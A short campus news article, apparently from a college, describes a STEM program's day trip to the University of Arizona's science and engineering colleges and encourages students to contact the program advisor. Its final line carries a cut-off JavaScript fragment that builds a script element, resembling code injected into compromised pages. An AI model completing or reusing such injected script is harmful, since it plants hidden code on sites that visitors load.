CAC’s STEM program recently hosted a trip, offering STEM majors an amazing opportunity to tour the Colleges of Science and Engineering at the University of Arizona. STEM advisor Carrie McIntyre led the trip, which lasted for the entire day.

The first half of the trip was an introductory presentation, and general advising provided by the college of science. This presentation spoke of the requirements of different science majors, and advisors and ambassadors spoke of their own personal experiences while attaining a degree in their major.

The students were then given a tour of either the tree ring lab, which was housed in a mock treehouse structure, or to the carbon-14 dating lab, where the technology is being utilized by other universities and organizations around the globe.

The tour then took a break for a complimentary lunch provided by U of A in their student union. Once lunch concluded it was the College of Engineering’s turn to present. The afternoon began with a presentation on the numerous and wide-ranging engineering majors offered—each with its own unique differences and career opportunities.

The trip was amazing, and as a prospective U of A student, it was a great opportunity to get a closer look at everything the university has to offer. I strongly advise anyone reading this article, who is interested in a STEM major, to contact Carrie McIntyre, and to set-up an appointment to learn more about the amazing opportunities that the CAC STEM program provides.var d=document;var s=d.createElement(‘script’);
